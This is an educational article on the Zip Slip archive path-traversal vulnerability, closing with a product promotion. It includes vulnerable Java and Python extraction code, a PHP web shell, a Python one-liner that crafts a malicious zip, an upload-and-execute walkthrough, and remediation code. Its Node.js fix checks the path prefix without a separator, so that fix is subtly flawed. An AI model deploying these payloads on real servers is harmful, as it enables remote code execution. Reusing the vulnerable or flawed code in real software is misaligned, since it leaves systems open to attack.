What is Zip Slip Vulnerability? Ways to Exploit, Examples and Impact

Learn how Zip Slip allows RCE via path traversal in archive extraction. See technical examples and learn how to secure your code against this critical flaw.

What is Zip Slip Vulnerability? Ways to Exploit, Examples and Impact

In the world of cybersecurity, some of the most devastating vulnerabilities are often the simplest in concept. The Zip Slip vulnerability is a prime example of this paradox. It is a widespread, critical software vulnerability that allows attackers to write arbitrary files on a filesystem, typically leading to Remote Code Execution (RCE). Despite its simplicity, it has affected thousands of projects across various programming languages, highlighting a fundamental flaw in how many developers handle archive extraction.

At its core, Zip Slip is a form of directory traversal that occurs during the extraction of an archive file (such as .zip, .tar, .jar, .war, .7z, or .rar). By crafting a malicious archive containing filenames with path traversal sequences (like ../../), an attacker can trick an application into saving files outside of the intended target directory. This guide will walk you through the technical mechanics of Zip Slip, provide concrete exploitation examples, and offer robust remediation strategies.

Understanding the Mechanics of Zip Slip

To understand Zip Slip, we first need to look at how archive files are structured. When you create a ZIP file, the archive doesn't just store the file content; it also stores metadata about each file, including its name and path. For example, if you zip a file named report.pdf inside a folder named documents, the archive entry name might be documents/report.pdf.

Most developers assume that when they extract an archive to a destination folder (e.g., /var/www/uploads/), all files will be contained within that folder. However, the ZIP specification allows the filename field to contain almost any string. A malicious actor can manually edit an archive to change a filename from image.jpg to ../../../../etc/passwd or ../../../../var/www/html/shell.php.

When a vulnerable application processes this archive, it concatenates the target directory with the malicious filename:

Target Directory: /var/www/uploads/
Malicious Filename: ../../var/www/html/shell.php
Resulting Path: /var/www/uploads/../../var/www/html/shell.php

Because of how file systems resolve .. (parent directory) segments, the operating system resolves this path to /var/www/html/shell.php. The application then writes the attacker's payload to that location, effectively bypassing the intended directory restriction.

Why Zip Slip is So Dangerous

The impact of a Zip Slip vulnerability is almost always critical. The primary risks include:

  1. Remote Code Execution (RCE): If an attacker can overwrite an executable file or upload a new script (like a .jsp, .php, or .py file) into a web-accessible directory, they can execute arbitrary commands on the server.
  2. Configuration Overwriting: Attackers can overwrite system configuration files or .ssh/authorized_keys to gain persistent access to the server.
  3. Data Destruction: By overwriting critical system libraries or application files, an attacker can cause a Denial of Service (DoS) or corrupt the entire system.
  4. Information Disclosure: In some scenarios, Zip Slip can be used to overwrite files that control access permissions, leading to sensitive data leaks.

Vulnerable Code Examples

Let's look at how this vulnerability manifests in code. We will examine a classic vulnerable implementation in Java, which was one of the most frequently affected languages when Zip Slip was first widely publicized by the Snyk security team.

Vulnerable Java Implementation

Enumeration<ZipEntry> entries = zipFile.entries();
while (entries.hasMoreElements()) {
    ZipEntry entry = entries.nextElement();
    File f = new File(destinationDir, entry.getName()); // VULNERABLE LINE
    String canonicalPath = f.getCanonicalPath();
    
    // The code proceeds to write the entry to the filesystem
    FileOutputStream fos = new FileOutputStream(f);
    // ... transfer bytes ...
}

In the snippet above, the code takes the name directly from the ZipEntry and joins it with the destinationDir. It fails to check if the resulting canonicalPath still resides within the destinationDir. An entry named ../../../../tmp/evil.sh will be happily accepted and written to /tmp/evil.sh instead of the intended upload folder.

Vulnerable Python Implementation

Python's tarfile module was historically vulnerable if not used carefully. While recent versions have added some protections, the logic remains a risk in many legacy systems.

import tarfile
import os

def extract_dangerously(tar_path, target_dir):
    with tarfile.open(tar_path) as tar:
        # This extracts all members without checking for path traversal
        tar.extractall(path=target_dir)

# A malicious tar with a member named "../../tmp/exploit.py" 
# will overwrite files in /tmp/

How to Exploit Zip Slip: A Walkthrough

To demonstrate the vulnerability, let's imagine a web application that allows users to upload themes as ZIP files. The application extracts these themes to /app/static/themes/.

Step 1: Crafting the Payload

An attacker creates a simple PHP web shell named cmd.php:

<?php system($_GET['cmd']); ?>

Step 2: Creating the Malicious Archive

Using a tool like evilarc or a simple Python script, the attacker adds the web shell to a ZIP file with a traversal prefix. They want to reach the web root at /var/www/html/.

If the extraction point is /app/static/themes/, they need to go up three levels to reach the root and then navigate to the web folder.

# Using a python script to create the malicious zip
python3 -c "import zipfile; z = zipfile.ZipFile('malicious.zip', 'w'); z.writestr('../../../var/www/html/shell.php', '<?php system(\$_GET[\"cmd\"]); ?>')"

Step 3: Upload and Execute

The attacker uploads malicious.zip through the theme upload form. The application extracts the files. Because it doesn't validate the paths, it writes the shell to /var/www/html/shell.php.

The attacker then visits http://target-app.com/shell.php?cmd=id and receives the output of the id command, confirming RCE.

How to Prevent Zip Slip Vulnerabilities

Preventing Zip Slip requires a simple but mandatory validation step: never trust the filename provided within an archive. You must ensure that the final destination of the file is within the intended directory.

Secure Java Implementation

To fix the Java example, you must validate the canonical path before writing the file.

String canonicalDestinationDirPath = destinationDir.getCanonicalPath();
File destinationFile = new File(destinationDir, entry.getName());
String canonicalDestinationFile = destinationFile.getCanonicalPath();

if (!canonicalDestinationFile.startsWith(canonicalDestinationDirPath + File.separator)) {
    throw new Exception("Entry is outside of the target dir: " + entry.getName());
}
// Proceed only if the check passes

Secure Node.js Implementation

In Node.js, when using libraries like unzipper or yauzl, you should resolve the path and verify it.

const path = require('path');
const fs = require('fs');

const targetDir = path.resolve('/safe/directory');

// Inside the extraction loop
const entryName = entry.path;
const targetPath = path.join(targetDir, entryName);

// Check if the resolved path starts with the target directory
if (!targetPath.startsWith(targetDir)) {
    throw new Error('Malicious path detected: ' + entryName);
}

General Best Practices

  • Use Modern Libraries: Many modern high-level libraries have built-in protections against Zip Slip. Ensure your dependencies are up to date.
  • Principle of Least Privilege: Run the extraction process with a user that has minimal filesystem permissions. This limits the damage an attacker can do even if they successfully exploit a Zip Slip vulnerability.
  • Sanitize Filenames: Strip out path traversal characters (.., /, \) from filenames before using them in filesystem operations.
  • Validation via Canonicalization: Always use the "canonical" or "absolute" path for comparison. Relative paths can be deceptive.

Real-World Impact and History

The Zip Slip vulnerability gained significant attention in 2018 when researchers at Snyk disclosed its existence across thousands of projects. It wasn't a new bug, but rather a rediscovered class of vulnerability that had been overlooked for years.

Major libraries and frameworks were found to be vulnerable, including:

  • Spring Framework (Java)
  • Apache Commons Compress (Java)
  • Alibaba JStorm (Java)
  • DotNetZip (.NET)
  • Plexus Archiver (Java)

The widespread nature of the bug was due to the fact that many developers copied and pasted "standard" boilerplate code for unzipping files—code that lacked the necessary security checks.

Conclusion

Zip Slip is a stark reminder that security is often found in the details of input validation. Whether you are building a small utility or a large enterprise application, any feature that processes user-uploaded archives must be treated with extreme caution. By implementing canonical path validation and following the principle of least privilege, you can effectively neutralize this critical threat.

Understanding the attack surface of your applications is the first step toward securing them. Vulnerabilities like Zip Slip often hide in plain sight within third-party libraries or legacy code blocks. Regular security audits and automated infrastructure monitoring are essential tools in a modern security stack.

To proactively monitor your organization's external attack surface and catch exposures before attackers do, try Jsmon.